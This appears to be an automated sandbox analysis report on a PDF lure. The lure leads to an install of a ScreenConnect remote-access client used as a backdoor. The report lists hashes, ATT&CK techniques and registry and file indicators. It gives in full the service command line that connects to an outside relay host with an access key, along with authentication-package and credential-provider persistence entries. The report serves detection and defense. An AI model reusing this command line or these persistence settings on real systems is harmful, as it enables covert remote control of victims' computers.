14162ffdc8022d272761c6036c7472f77ba035eb83cbe7d936eff505b9d5e133

Analysis

user interaction
yes
max time kernel
105s
max time network
99s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
23/07/2026, 20:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
American Concrete Industries Inc.pdf
Size 163KB
Sample260723-y86cdavvbv
SHA256 14162ffdc8022d272761c6036c7472f77ba035eb83cbe7d936eff505b9d5e133
MD5 e4636281c30ec74889831caec260a465
SHA1 30c0fc4a711d3f384c1505c9d77695ecba04f3f3
SHA512 b139395fb39a12b573a9bce1bfbfa664bd8c1bd1caac1762481e83574d37cd4ebdcc45655a7b0b1524a33bf8a00b27e4ce6b532fd3805e2035666af81fb260d2
SSDEEP 3072:R3zkor/Xyrqo/C84wWxvxE3f2264p4QrD8Vr8R3c/QbI7K:R3zk8yrqwC3wcv8fTxyr8C/mI+
TLSH
T142F3F1138C1D8AA6E47806F5BF576F6C66693D1D9E926AFF0B211DD23DB04181C0C8BB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

adware backdoor discovery persistence privilege_escalation ransomware rat spyware

Malware Config

Signatures

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
117	5660	msiexec.exe
119	5660	msiexec.exe
121	5660	msiexec.exe
122	5660	msiexec.exe
130	5708	rundll32.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
110	1124	msedge.exe

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (189f37b551f245c6)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (189f37b551f245c6)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=instance-mx0d4w-relay.screenconnect.com&p=443&s=f531f246-e562-4a6c-b002-ecf70592ee3c&k=BgIAAACkAABSU0ExAAgAAAEAAQARAuPsSnjORbZ7mcb5RUF6Abin0urh77Wz3XEbK1rCQhFfSiRu0mQl%2fRgm9O1oC2oLOuIvmIV8SbwMMmGloBNnxLpEqT%2fuLLP%2fjPupcLnXL6AMGaw%2bAjG2Zm9HWQbRg7dvx1xYrNzpPtS23nEj0chVKzyUAey6NypOtcvuWQe1Rj63mR5GUY5%2bBXxIEHrIn4pXd910iREqQGP0uk4HuPlc9mFSvOuXxu5%2fyWVG8LxZAfnKQ6MX%2fhHIgesb0YZn6Qff7rX%2bueJF1GTZOfKnsWBUySSiEs5y5ycniOo%2b5hoJNHzikRZ0BY48CieUI835znXG2G7jJP7X2P55x%2fOitJCs&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAzOKhFb5twUewYxAtHCm0gwAAAAACAAAAAAAQZgAAAAEAACAAAAAHMN18Ls1Er8pCdw2Bb4ah7LgbMLsiAZ%2fMavzTo%2fbG0AAAAAAOgAAAAAIAACAAAABDbTf%2f63YIgWPdKbcC7YCYSmjBrkMrsXtKuree%2b6R5LqAEAABTsSSX5sUbRQ4qt46aNCulBPibPqOMlXZc5V9tSk%2fFvhVeMYfmrwqOAt78YYlZGVRigz%2fD6N3%2f9sqQiJXa2kpzDNId8ysx1qN5QKFcRcG28y%2bjwH2Xkt5ck7FMVs7snZ%2bQ8OpXFWbJazu42W2oLczmfvMaZGlLkDGU3%2bhPRkoBCuXQUOxRMyaP45qR7igZ7Ktt3%2fXWLzcbPkN8i6uSllZcgHui6zaGxW8xphBOhgwzFcucgMRsvUrpdd1RIAk%2f2VL2Z5WpBdwhF6vMqdD8aB3LxUPK3BmQMboRRz9JJ7eFQWjsOpqLFxqK4cRPqne3eoJrggC2iJakahkWJns9r8mDi0x5Am6np5tKYGfXa%2blcmp7%2bOuwWYLPuETw0LnZobVAnGU%2fw6elehs3XIRE9SgwgjLQKeF1wEEHhRFfVpEHqhEX11PEuy6O%2fUTNptkjJokP0MQO94Pzx5wt3vTXCMQSnQQ%2bdDj0MI%2bV1LNdfPGWGzQqXCreB%2fNfsPGDcbCVZ6m1y1uCYON7AbPx07Z%2b2qQzknOXKDMdKJjvY72Bnjjaxp16v9K0C3eaSPADBH0ZVos4KtUuyj5cEsG8sbu92dnBw%2bdHfCvWbfjDXmpnJiB8mVWNyzPfC%2bfEHR%2b4GOjOWFMhFATgdDZZ6OSjKluYZuh2VCApLa7yg1p1h6y8KrhzPNfYRe56%2bIdfLrBJyVHP2SR%2fbCnEHywJEaHa472G9aC0EqGbUu1ZznOdgDGOMonm7gzIGDVJUtOCQVe6jGtZkpR2FjG7YgW%2btmj5l9Kc7X49wruXba2KlZRdTKTjWImSAtbPVMRZ7zzcx1NypPEd4ucOWnzS8jA1OkyX2pN2AP03kJZNuAqAwA%2fdkhVEX9anlPFciN%2bl0yTaOlcwF%2bjTUW59UOBqEBjiUxXETo2ZyLqD0pZ3TbGUE71RJDeNEmehtQ5Qn1cuwjoFH0TdpeNQludJzBKzILTA%2bfNGj4eIUYRWTS9vCnyChXn%2bZNll4rZbxDoiwgZvFsjSxI2grf4tEPSywrGMNbhQDMFSWnAUEAcIi4LXnScyKWkGZ9YzcQz%2bmnE8OAegwYVNVTVfmhqn1natr0TLammkU9a3iLmjvMcyjpG2Kb567wslCcrXe3VpynfG8DkkzipIaFV65%2ba3vMIBJ0yUWBW51t8RLlXQ6GbXnJUHmbMy0i0fq0iQFMBlfEWs0ah%2fkzUUgXB0xQ2MnZeM5BFj5pqafBXcULA18JoW8A29Fo2DYbfXbs1KEDHBmAS8tKwS%2fjmrKvcrTY5Nzuvthny7jL0Iw%2b6X3WUbZ4hqKie2NfL6hrkJirZ1jVG6aUoUpEhM9dxpK9o5nxHuhfd%2bTCFtgbf%2fq6j5P2uoHDiCvhua19KWNXDE32eQckw%2fMjY5qUct%2fvFgivmj2rTmHv15PJqZUufqS8o2Kia1dWE3E0f0oJlpGgGUcq%2f3zSsZoZgwYGlfnWLeUEB273mib6a1b%2bVqYZJ7vOHJ3LHGYx1tkukO38hqCpcPedINPYw2FEn9CeV4eB03ykXMTMDFgJg8IlZ%2bw3gKd3qW64xh%2f%2f2s23O5HeG82%2fzkKBK9yVKFMPEAAAADuY1l2D2L6dWtF1F3rxHwX%2bnZyvBuhaCqRz%2bNN67Dzp1y%2fpXkhd65J1awKK0jzEFk8OzqB2ENoFrcens1bl681\""	ScreenConnect.ClientService.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\International\Geo\Nation	ScreenConnect.ClientSetup.exe

ConnectWise ScreenConnect remote access tool
ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.
backdoor rat
Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 4 IoCs

pid	Process
3312	ScreenConnect.ClientSetup.exe
5792	ScreenConnect.ClientService.exe
2212	ScreenConnect.WindowsClient.exe
5708	ScreenConnect.WindowsClient.exe

Loads dropped DLL 42 IoCs

pid	Process
5268	MsiExec.exe
5328	rundll32.exe
5328	rundll32.exe
5328	rundll32.exe
5328	rundll32.exe
5328	rundll32.exe
5328	rundll32.exe
5328	rundll32.exe
5328	rundll32.exe
5328	rundll32.exe
5268	MsiExec.exe
5708	rundll32.exe
5708	rundll32.exe
5708	rundll32.exe
5708	rundll32.exe
5708	rundll32.exe
5708	rundll32.exe
5708	rundll32.exe
5708	rundll32.exe
5708	rundll32.exe
5268	MsiExec.exe
1464	rundll32.exe
1464	rundll32.exe
1464	rundll32.exe
1464	rundll32.exe
1464	rundll32.exe
1464	rundll32.exe
1464	rundll32.exe
1464	rundll32.exe
1464	rundll32.exe
5508	MsiExec.exe
5256	MsiExec.exe
5792	ScreenConnect.ClientService.exe
5792	ScreenConnect.ClientService.exe
5792	ScreenConnect.ClientService.exe
5792	ScreenConnect.ClientService.exe
5792	ScreenConnect.ClientService.exe
5792	ScreenConnect.ClientService.exe
5792	ScreenConnect.ClientService.exe
5792	ScreenConnect.ClientService.exe
5792	ScreenConnect.ClientService.exe
5792	ScreenConnect.ClientService.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe

Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

Suspicious Windows Authentication Registry Modification.

persistence privilege_escalation

Authentication Package

T1547.002

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800310038003900660033003700620035003500310066003200340035006300360029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe

Drops file in System32 directory 10 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (189f37b551f245c6)\5oz54lwm.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (189f37b551f245c6)\nrfxmm1y.tmp	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (189f37b551f245c6)\user.config	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (189f37b551f245c6)\nrfxmm1y.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (189f37b551f245c6)\mci4than.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (189f37b551f245c6)\mci4than.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (189f37b551f245c6)\5oz54lwm.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (189f37b551f245c6)\nrfxmm1y.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (189f37b551f245c6)\mci4than.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log	ScreenConnect.WindowsClient.exe

Drops file in Program Files directory 17 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (189f37b551f245c6)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (189f37b551f245c6)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (189f37b551f245c6)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (189f37b551f245c6)\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (189f37b551f245c6)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (189f37b551f245c6)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (189f37b551f245c6)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4536_1490948346\manifest.json	msedge.exe
File created	C:\Program Files (x86)\ScreenConnect Client (189f37b551f245c6)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (189f37b551f245c6)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (189f37b551f245c6)\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (189f37b551f245c6)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (189f37b551f245c6)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (189f37b551f245c6)\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (189f37b551f245c6)\system.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (189f37b551f245c6)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (189f37b551f245c6)\ScreenConnect.Core.dll	msiexec.exe

Drops file in Windows directory 13 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\e599d11.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9EA7.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9EF6.tmp	msiexec.exe
File created	C:\Windows\Installer\wix{27782099-47DB-E1AE-FF45-535CBFC7BE0E}.SchedServiceConfig.rmi	MsiExec.exe
File created	C:\Windows\Installer\e599d13.msi	msiexec.exe
File created	C:\Windows\Installer\e599d11.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{27782099-47DB-E1AE-FF45-535CBFC7BE0E}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA11A.tmp	msiexec.exe
File created	C:\Windows\Installer\{27782099-47DB-E1AE-FF45-535CBFC7BE0E}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\{27782099-47DB-E1AE-FF45-535CBFC7BE0E}\DefaultIcon	msiexec.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 17 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientSetup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AcroRd32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1124	msedge.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000ee0681d78f5363a20000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000ee0681d70000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff000000000700010000680900ee0681d7000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1aee0681d7000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1dee0681d7000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AcroRd32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	AcroRd32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	AcroRd32.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134293121359990027"	msedge.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe

Modifies registry class 40 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-9876-641A6E145695}	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-9876-641A6E145695}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (189f37b551f245c6)\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\99028772BD74EA1EFF5435C5FB7CEBE0	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\99028772BD74EA1EFF5435C5FB7CEBE0\PackageCode = "99028772BD74EA1EFF5435C5FB7CEBE0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\99028772BD74EA1EFF5435C5FB7CEBE0\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\99028772BD74EA1EFF5435C5FB7CEBE0\SourceList\Media\1 = ";"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-189f37b551f245c6	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-9876-641A6E145695}\InprocServer32	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\99028772BD74EA1EFF5435C5FB7CEBE0\AuthorizedLUAApp = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\99028772BD74EA1EFF5435C5FB7CEBE0\SourceList\PackageName = "ScreenConnect.ClientSetup.msi"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\99028772BD74EA1EFF5435C5FB7CEBE0\Assignment = "1"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\99028772BD74EA1EFF5435C5FB7CEBE0\Clients = 3a0000000000	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\99028772BD74EA1EFF5435C5FB7CEBE0\AdvertiseFlags = "388"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\99028772BD74EA1EFF5435C5FB7CEBE0\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-189f37b551f245c6	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-189f37b551f245c6\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (189f37b551f245c6)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\99028772BD74EA1EFF5435C5FB7CEBE0	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-189f37b551f245c6\UseOriginalUrlEncoding = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\99028772BD74EA1EFF5435C5FB7CEBE0\ProductName = "ScreenConnect Client (189f37b551f245c6)"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\B9464933E2DCA3A681F9735B152F546C\99028772BD74EA1EFF5435C5FB7CEBE0	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\99028772BD74EA1EFF5435C5FB7CEBE0\SourceList\Media	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\99028772BD74EA1EFF5435C5FB7CEBE0\ProductIcon = "C:\\Windows\\Installer\\{27782099-47DB-E1AE-FF45-535CBFC7BE0E}\\DefaultIcon"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\99028772BD74EA1EFF5435C5FB7CEBE0\SourceList\Net	msiexec.exe
